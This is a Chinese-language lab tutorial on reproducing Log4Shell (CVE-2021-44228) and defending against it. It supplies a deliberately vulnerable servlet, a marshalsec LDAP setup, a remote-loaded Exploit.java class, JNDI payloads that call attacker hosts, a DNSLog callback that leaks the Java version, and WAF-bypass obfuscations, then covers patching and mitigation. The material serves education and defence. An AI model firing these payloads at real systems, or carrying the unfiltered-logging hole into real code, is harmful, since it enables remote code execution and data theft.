Log4j2漏洞复现与防御:从JNDI注入到远程代码执行实战

发布时间:2026/6/25 19:12:10
Log4j2漏洞复现与防御:从JNDI注入到远程代码执行实战 1. 项目概述为什么Log4j2漏洞值得每个开发者警惕去年年底安全圈被一个代号为“Log4Shell”的漏洞彻底引爆它的官方编号是CVE-2021-44228。这个漏洞的波及范围之广、影响之深堪称近十年来最严重的软件供应链安全事件。简单来说它存在于一个几乎所有Java开发者都使用过的日志组件——Apache Log4j2中。攻击者只需要在日志信息里插入一段特殊的字符串就能让服务器执行任意代码完全控制你的应用。我当时正在为一个线上系统做安全审计突然收到告警整个团队连夜排查和修复那种紧张感至今记忆犹新。这个漏洞的核心在于Log4j2一个名为“JNDI Lookup”的功能。JNDIJava Naming and Directory Interface本是Java中用来查找各种资源如数据库、消息队列的标准API但Log4j2在解析日志消息时如果发现类似${jndi:ldap://evil.com/a}这样的模式就会傻乎乎地去指定的地址比如evil.com加载并执行远程的Java类。想象一下你的应用在记录用户输入的“用户名”或“搜索关键词”时如果这些数据里藏了这样的“炸弹”日志系统就会瞬间变成攻击者的“后门”。复现这个漏洞绝不仅仅是为了“炫技”或满足好奇心。对于开发者而言亲手搭建环境、触发漏洞、观察攻击链的完整过程是理解其危害性、掌握修复和防御手段最有效的方式。对于安全研究人员和运维工程师复现过程能帮助你验证自己的系统是否真正免疫并建立有效的监控和应急响应流程。接下来我会带你从零开始在一个可控的实验室环境中完整地走一遍漏洞复现的流程并深入剖析每一个技术细节和背后的原理。2. 漏洞原理深度剖析从日志记录到远程代码执行要理解CVE-2021-44228我们必须深入Log4j2的日志处理机制。Log4j2有一个强大的功能叫“Lookup”它允许在配置文件和日志输出中动态插入一些值比如系统属性、环境变量等。其语法就是${prefix:name}。其中JndiLookup就是这个功能的一个具体实现。2.1 攻击链是如何串联起来的攻击链的起点是用户可控的输入。任何会被Log4j2记录到日志的信息都可能成为入口例如HTTP请求头如User-AgentX-Forwarded-ForHTTP请求参数GET/POST参数表单提交的数据甚至是从数据库读取并记录到日志的数据当一条包含${jndi:ldap://attacker-ip:1389/Exploit}的字符串被记录时Log4j2的消息解析机制就开始工作了。默认情况下Log4j2 2.0-beta9 到 2.14.1版本中lookup功能是全局启用的。解析器识别出${}模式并调用JndiLookup.lookup()方法。JndiLookup会无条件地信任这个字符串通过JNDI API去访问指定的LDAP服务ldap://attacker-ip:1389/Exploit。这里的关键在于JNDI的LDAP协议支持返回一个“引用”Reference。这个引用可以指向一个远程的HTTP服务器上的Java类文件.class。受害服务器上的JNDI服务会自动加载这个远程的类文件。如果目标Java版本较旧JDK 6u132, 7u122, 8u113 之前或者特定配置下com.sun.jndi.ldap.object.trustURLCodebase设置为trueJava运行时会直接从攻击者控制的HTTP服务器下载并实例化这个类。这个被加载的类我们称之为恶意Payload的静态代码块或构造函数中的代码就会被执行从而完成远程代码执行。注意在后续的JDK高版本中默认禁止了从远程地址加载工厂类trustURLCodebasefalse但这并非绝对安全。攻击链可以通过其他方式串联例如利用受害服务器本地ClassPath中已有的、具有危险方法的类如org.apache.naming.factory.BeanFactory结合EL表达式进行利用这使得漏洞在特定环境下依然可利用。2.2 漏洞触发的核心条件要成功利用这个漏洞需要同时满足以下几个条件使用存在漏洞的Log4j2版本2.0-beta9 Apache Log4j2 2.14.1。日志输入可控应用程序使用Log4j2记录来自外部的、未经充分过滤的数据。JNDI Lookup功能启用在漏洞版本中此功能默认启用。网络可达受害服务器需要能访问攻击者控制的LDAP和HTTP服务通常需要出网。Java运行时环境某些利用方式受JDK版本限制但存在绕过手段。3. 实验环境搭建与配置为了安全、合法地复现漏洞我们必须在隔离的环境中进行。我推荐使用虚拟机或Docker来构建一个简单的靶场。3.1 靶机环境准备漏洞应用我们将创建一个最简单的、存在漏洞的Java Web应用。1. 创建项目结构mkdir log4shell-vuln-app cd log4shell-vuln-app2. 编写存在漏洞的Java代码 (VulnApp.java)import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import java.io.*; import javax.servlet.http.*; import javax.servlet.annotation.*; WebServlet(/hello) public class VulnApp extends HttpServlet { // 使用Log4j2记录日志 private static final Logger logger LogManager.getLogger(VulnApp.class); protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { String userInput req.getParameter(input); // 关键漏洞点将用户输入直接记录到日志且未做任何过滤 logger.error(Received input: {}, userInput); resp.setContentType(text/html; charsetUTF-8); PrintWriter out resp.getWriter(); out.println(htmlbody); out.println(h1Log4j2 Vuln Demo/h1); out.println(pYour input has been logged./p); out.println(/body/html); } }这段代码模拟了一个最常见的漏洞场景将HTTP请求参数直接记录到日志。3. 准备漏洞版本的Log4j2依赖 (pom.xml):我们使用Maven管理依赖关键是指定存在漏洞的Log4j2版本。?xml version1.0 encodingUTF-8? project modelVersion4.0.0/modelVersion groupIdcom.example/groupId artifactIdlog4shell-vuln-app/artifactId version1.0/version packagingwar/packaging properties maven.compiler.source8/maven.compiler.source maven.compiler.target8/maven.compiler.target log4j2.version2.14.1/log4j2.version !-- 漏洞版本 -- /properties dependencies !-- Servlet API -- dependency groupIdjavax.servlet/groupId artifactIdjavax.servlet-api/artifactId version3.1.0/version scopeprovided/scope /dependency !-- 存在漏洞的Log4j2核心 -- dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-core/artifactId version${log4j2.version}/version /dependency !-- Log4j2 API -- dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-api/artifactId version${log4j2.version}/version /dependency !-- 使Log4j2与Servlet集成 -- dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-web/artifactId version${log4j2.version}/version /dependency /dependencies build finalNamevulnapp/finalName /build /project4. 配置Log4j2 (log4j2.xml)将其放在src/main/resources目录下。一个简单的配置足以触发漏洞。?xml version1.0 encodingUTF-8? Configuration statusWARN Appenders Console nameConsole targetSYSTEM_OUT PatternLayout pattern%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n/ /Console /Appenders Loggers Root levelerror !-- 设置为error级别我们的代码用的就是logger.error -- AppenderRef refConsole/ /Root /Loggers /Configuration5. 编译与部署使用Maven打包并将生成的vulnapp.war部署到一个支持Servlet的容器中如Apache Tomcat 8或9。mvn clean package cp target/vulnapp.war /path/to/tomcat/webapps/启动Tomcat访问http://localhost:8080/vulnapp/hello?inputtest查看控制台是否有日志输出确认应用运行正常。3.2 攻击机环境准备我们需要准备两个工具一个LDAP引用服务器和一个HTTP服务器用于托管恶意Java类。这里我使用最流行的开源工具marshalsec来快速搭建LDAP服务。1. 安装Java和Maven确保攻击机已安装JDK 8和Maven。2. 编译 marshalsecgit clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编译成功后在target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar。3. 编写恶意Java类 (Exploit.java)这是将被远程加载并执行的Payload。我们写一个最简单的用于证明命令执行。public class Exploit { static { try { // 弹出一个计算器Linux下可能是gnome-calculator String os System.getProperty(os.name).toLowerCase(); if (os.contains(win)) { Runtime.getRuntime().exec(calc.exe); } else if (os.contains(mac)) { Runtime.getRuntime().exec(open -a Calculator); } else { Runtime.getRuntime().exec(gnome-calculator); } } catch (Exception e) { e.printStackTrace(); } } }将其编译成class文件javac Exploit.java4. 启动HTTP服务器在Exploit.class文件所在目录启动一个简单的HTTP服务器用于提供恶意类文件。# 使用Python3快速启动 python3 -m http.server 8888 # 或者使用其他任何HTTP服务器确保该HTTP服务器可以通过网络被靶机访问在实验环境中通常是同一局域网或本机。4. 漏洞复现实操步骤详解环境就绪现在让我们发起攻击。请确保靶机Tomcat、LDAP服务器、HTTP服务器都在运行。4.1 启动LDAP引用服务器在攻击机上使用marshalsec启动一个LDAP服务它将把客户端的请求重定向到我们的HTTP服务器。java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://YOUR_HTTP_IP:8888/#Exploit 1389YOUR_HTTP_IP替换为你的攻击机IP地址。如果所有服务都在本机可以用127.0.0.1。1389LDAP服务监听的端口。http://.../#Exploit告诉LDAP服务器当有客户端查询时返回一个指向该HTTP地址下Exploit.class的引用。执行后你会看到类似Listening on 0.0.0.0:1389的输出。4.2 构造并发送攻击载荷现在我们向存在漏洞的靶机应用发送恶意请求。攻击载荷就是包含JNDI Lookup的字符串。使用浏览器、curl或BurpSuite等工具发送以下请求GET /vulnapp/hello?input${jndi:ldap://YOUR_ATTACKER_IP:1389/Exploit} HTTP/1.1 Host: localhost:8080或者用curl命令curl http://localhost:8080/vulnapp/hello?input%24%7Bjndi%3Aldap%3A%2F%2FYOUR_ATTACKER_IP%3A1389%2FExploit%7D注意URL中的特殊字符需要编码${对应%24%7B}对应%7D。4.3 观察攻击结果查看LDAP服务器日志在运行marshalsec的终端你应该能看到一条连接记录表明靶机上的Log4j2已经联系了你的LDAP服务器。Send LDAP reference result for Exploit redirecting to http://YOUR_HTTP_IP:8888/Exploit.class查看HTTP服务器日志在运行Python HTTP服务器的终端你应该能看到一条请求记录表明靶机从你的服务器下载了Exploit.class文件。127.0.0.1 - - [日期时间] GET /Exploit.class HTTP/1.1 200 -查看靶机效果如果靶机是带有图形界面的系统并且JDK版本允许远程加载你可能会看到一个计算器程序被弹出。这是远程代码执行最直观的证据。实操心得在实际复现中“弹计算器”成功率受环境限制较多。更可靠的验证方式是让Payload执行一个不会立即退出的命令例如在Linux上ping自己几次或者写一个文件。我们可以修改Exploit.java// 修改后的Exploit.java用于更稳定的验证 import java.io.*; public class Exploit { static { try { // 在/tmp目录下创建一个文件作为执行证据 FileWriter fw new FileWriter(/tmp/log4shell_success.txt); fw.write(Log4j2 RCE Exploited at new java.util.Date()); fw.close(); // 或者执行一个回环ping便于用tcpdump抓包观察 Runtime.getRuntime().exec(ping -c 4 127.0.0.1); } catch (Exception e) { // 静默处理异常避免在靶机日志中暴露过多信息 } } }重新编译并替换HTTP服务器上的class文件再次发送攻击请求。然后检查靶机的/tmp/log4shell_success.txt文件是否被创建或者用tcpdump抓取ICMP包查看是否有ping流量。5. 漏洞修复与缓解方案实战复现漏洞是为了更好地防御它。一旦确认漏洞存在必须立即采取行动。5.1 紧急缓解措施治标如果无法立即升级可以采用以下临时方案阻断攻击修改JVM参数推荐这是最快、最有效的临时方案。通过设置系统属性直接禁用Log4j2的Lookup功能。# 在启动Java应用时添加以下参数 -Dlog4j2.formatMsgNoLookupstrue原理这个参数让Log4j2在格式化日志消息时跳过Lookup解析。从Log4j2 2.10.0开始支持此参数。对于2.0-beta9到2.10.0的版本这是首选的临时方案。移除漏洞类彻底直接删除Log4j2核心库中负责JNDI Lookup的类文件。# 找到log4j-core-*.jar文件 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class注意此操作不可逆且可能影响依赖此功能尽管极少见的正常业务。务必在测试环境验证后再进行生产环境操作。环境变量限制对于高版本JDK确保限制JNDI从远程加载代码的能力。# 设置以下环境变量适用于JDK 11.0.1, 8u191, 7u201, 6u211及以上 -Dcom.sun.jndi.ldap.object.trustURLCodebasefalse -Dcom.sun.jndi.rmi.object.trustURLCodebasefalse局限性这只能防御基于远程代码库Codebase的攻击对于利用本地ClassPath中已有类的绕过手段无效。5.2 根本解决方案治本升级Log4j2到安全版本这是唯一一劳永逸的方法。对于 Log4j 2.x 用户升级到2.17.0、2.12.4Java 7或2.3.2Java 6及更高版本。在Maven中直接修改pom.xml中的版本号log4j2.version2.17.1/log4j2.version !-- 使用当前最新的稳定版 --升级策略全面梳理使用依赖检查工具如OWASP Dependency-Check, Mavendependency:tree找出所有直接和间接依赖Log4j2的组件。测试回归升级后必须进行完整的回归测试因为大版本升级可能引入不兼容的API变更。持续监控关注Apache Log4j安全公告确保使用的版本没有新的漏洞。5.3 防御性编码与架构建议除了修复漏洞本身更应从开发习惯和架构层面提升免疫力输入验证与过滤对所有外部输入进行严格的校验和过滤。对于日志记录在记录前对用户输入进行编码或替换敏感模式。// 简单的过滤示例不完整仅示意 public String sanitizeForLog(String input) { if (input null) return null; // 过滤掉 ${ 和 } 等可能导致解析的字符 return input.replace(${, {).replace(}, }); } // 记录时使用过滤后的数据 logger.info(User input: {}, sanitizeForLog(userInput));最小权限原则运行Java应用的账户应遵循最小权限原则避免使用root或管理员权限。这样即使被RCE攻击者能造成的破坏也有限。网络层防护出站规则严格限制服务器不必要的出站连接。如果业务不需要访问外部的LDAP/LDAPS/RMI服务可以在防火墙或安全组上直接禁掉相关端口如1389, 389, 636, 1099等。这能从根本上切断JNDI攻击的回连。Web应用防火墙WAF部署WAF并更新规则拦截包含jndi:、ldap://、rmi://等特征的请求。安全监控与日志审计监控服务器上是否有异常的子进程启动、网络连接特别是向陌生IP的1389/389端口发起连接或文件创建。同时审计应用日志本身搜索是否有可疑的${jndi:模式被记录。6. 复现过程中的常见问题与排查技巧在复现过程中你可能会遇到各种问题导致利用不成功。下面是我踩过坑后总结的排查清单。6.1 漏洞利用不成功的可能原因现象可能原因排查步骤LDAP服务器无连接日志1. 靶机Log4j2版本不对或配置未生效。2. 网络不通。3. 输入点未被日志记录。4. 日志级别过高未记录。1. 确认靶机依赖的log4j-core版本在漏洞范围内。2. 在靶机上telnet ATTACKER_IP 1389测试连通性。3. 尝试其他输入点如HTTP头。4. 将Log4j2配置的Root Logger级别改为info或debug。LDAP有连接但HTTP服务器无请求1. JDK版本过高默认禁止远程加载。2. 恶意类编译版本与靶机JDK不兼容。3. marshalsec命令参数错误。1. 检查靶机JDK版本。尝试使用低版本JDK如8u112测试。2. 用javac -target 1.8 -source 1.8 Exploit.java指定版本编译。3. 检查marshalsec命令中HTTP地址和端口是否正确#号不能少。HTTP有请求但无代码执行效果1. Payload类执行失败如命令不存在。2. 安全管理器SecurityManager限制。3. 静态代码块未执行类可能已被加载。1. 简化Payload改为创建文件或发送DNS请求如Runtime.getRuntime().exec(curl http://attacker/)来验证。2. 检查Java策略文件。3. 修改类名和文件名重新尝试。返回400或500错误1. 特殊字符未URL编码。2. 容器或框架对输入有过滤。1. 使用BurpSuite或Postman等工具自动编码后发送。2. 尝试对{、}、:等字符进行双重编码绕过。6.2 高级技巧与深度排查使用DNSLog验证漏洞存在在不便搭建完整攻击链时可以使用DNSLog平台来快速验证。Payload形如${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}。如果漏洞存在Log4j2会尝试解析这个域名你就能在DNSLog平台看到解析记录其中包含了Java版本信息。这是一种无害的检测方式。查看靶机Log4j2内部日志在靶机应用的启动参数中添加-Dlog4j2.debugtrue。这会让Log4j2输出详细的内部日志到控制台你可以看到它是否解析了Lookup表达式以及解析过程。利用链的延伸如果高版本JDK禁用了远程加载可以研究利用本地ClassPath中的类如Tomcat中的org.apache.naming.factory.BeanFactory配合EL表达式如org.apache.el.ExpressionFactory进行绕过。这需要更深入的理解和构造相关工具如JNDI-Injection-Exploit集成了多种绕过方式。WAF绕过技巧一些WAF可能简单匹配jndi:字符串。可以尝试利用Log4j2 Lookup的嵌套功能进行绕过例如${${lower:j}ndi:...}${${::-j}${::-n}${::-d}${::-i}:...}使用ldaps、rmi、dns、iiop等不同协议进行尝试。6.3 我的实操心得与建议环境隔离是第一要务永远在虚拟机或独立的Docker容器中复现漏洞切勿在连接公司或家庭主网络的物理机上直接运行攻击工具。从简单到复杂先用最简单的Payload如DNSLog验证漏洞是否存在和可利用再尝试复杂的RCE。这有助于分步排查问题。理解胜于工具虽然有很多一键化的漏洞利用工具如log4j-scan但亲手搭建一遍环境、理解每一步的原理对你后续进行漏洞分析、编写检测规则、设计修复方案有不可替代的价值。关注绕过方式安全是一个动态对抗的过程。在修复了CVE-2021-44228后后续又出现了CVE-2021-45046绕过补丁、CVE-2021-45105DoS等。修复漏洞后仍需关注其变种和新的利用技巧。建立应急清单为你的团队或负责的系统建立一个针对此类重大漏洞的应急响应清单包括快速检测脚本扫描JAR包、临时缓解措施执行步骤、升级回滚方案、监控指标异常出站连接等。当“下一个Log4Shell”出现时你就能从容应对。